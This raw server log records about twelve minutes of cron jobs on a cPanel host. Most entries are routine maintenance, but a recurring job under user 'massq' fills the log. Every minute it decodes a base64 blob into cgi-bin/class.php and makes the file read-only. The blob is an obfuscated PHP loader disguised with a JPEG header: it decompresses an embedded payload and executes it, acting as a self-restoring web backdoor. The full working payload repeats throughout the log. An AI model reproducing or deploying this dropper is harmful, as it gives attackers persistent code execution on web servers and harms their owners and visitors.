Sep  1 18:12:01 server CROND[8154]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:12:01 server CROND[8156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:12:01 server CROND[8155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:12:01 server CROND[8157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:13:01 server CROND[8550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:13:01 server CROND[8551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:13:01 server CROND[8553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:14:01 server CROND[8937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:14:01 server CROND[8938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:14:01 server CROND[8939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:15:01 server CROND[9351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:15:01 server CROND[9353]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:15:01 server CROND[9355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:15:01 server CROND[9363]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 18:15:01 server CROND[9361]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 18:15:01 server CROND[9365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:15:01 server CROND[9360]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 18:15:01 server CROND[9362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:15:01 server CROND[9359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:15:01 server CROND[9358]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:16:01 server CROND[10255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:16:01 server CROND[10256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:16:01 server CROND[10257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:17:01 server CROND[10731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:17:01 server CROND[10732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:17:01 server CROND[10733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:18:01 server CROND[11111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:18:01 server CROND[11112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:18:01 server CROND[11113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:19:01 server CROND[11492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:19:01 server CROND[11493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:19:01 server CROND[11494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:20:01 server CROND[11906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:20:01 server CROND[11907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:20:01 server CROND[11911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:20:01 server CROND[11912]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:20:01 server CROND[11917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:20:01 server CROND[11915]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:20:01 server CROND[11910]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:20:01 server CROND[11913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:20:01 server CROND[11916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:21:01 server CROND[12783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:21:01 server CROND[12784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:21:01 server CROND[12785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:22:01 server CROND[13817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:22:01 server CROND[13819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:22:01 server CROND[13820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:23:01 server CROND[14218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:23:01 server CROND[14219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:23:01 server CROND[14220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:24:01 server CROND[14602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:24:01 server CROND[14603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
